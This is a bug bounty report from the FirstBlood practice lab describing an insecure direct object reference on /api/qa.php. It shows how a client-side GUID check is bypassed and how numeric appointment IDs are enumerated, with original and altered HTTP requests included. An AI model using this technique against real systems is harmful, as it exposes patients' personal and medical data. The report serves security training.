FirstBlood-#12 — IDOR on /api/qa.php
This issue was discovered on FirstBlood v1
On 2021-05-09, jpdev Level 3 reported:
Summary
Within the qa.php api there is a param referenced as id= this is the appointment ID. The appointment is a GUID that is returned on creating the appointment. This is typically to the user a GUID. However on the drpanel within drpanel/drapi/query.php?aptid= this is displayed as the database numeric id.
Within /yourappointments.php there is a reference to this api (qa.php) (the function getAppt()) which does a client side check of if the "-" is present on the id param then do the POST request if not fail. If we use a proxy repeater tool or our own javascript we can bypass this check by either making the api call directly through the proxy tool or removing the check within out own javacript call. Example below of the requests made for a proxy repeater tool.
ORIGINAL Request:
POST /api/qa.php HTTP/1.1
Host: firstbloodhackers.com:49227
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://firstbloodhackers.com:49227
DNT: 1
Connection: close
Referer: http://firstbloodhackers.com:49227/yourappointments.php
id=fa7f10b2-0d24-4875-bd64-2b540ff0988a
Changed Request with an ID
POST /api/qa.php HTTP/1.1
Host: firstbloodhackers.com:49227
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://firstbloodhackers.com:49227
DNT: 1
Connection: close
Referer: http://firstbloodhackers.com:49227/yourappointments.php
id=56910819
other ids
56911356 < John
56910819 < Jane
56910219 < THATS ME
Impact
With the ability to bypass the client side check and have a refence to a ligitmate ID we can now use a tool such as BURP intruder to brute force our way through numerical IDs to return the GUID of the appointment.
Then using the /ma.php API we can then view those appoints and either, steal the sensitve information (Users Name, home address, tel and some Medical information) then use this within further attacks on the user and/or we can cancel the appointment which could cause harm to the patient if they have to wait longer for thier appointment,.
P2 High
Endpoint: /api/qa.php?id=
Parameter: 56910819
Payload: 56910819
FirstBlood ID: 5
Vulnerability Type: Insecure direct object reference
The endpoint QA.php (to query for an appointment) will allow for integer values to be used when querying for appointments. A bad cause of security through obscurity was attempted.
Creator & Administrator
Even though you were sadly not the first to discover this, you were only out by a few minutes and thus i'm still going to pay you a bounty! :) Nice find JPDev!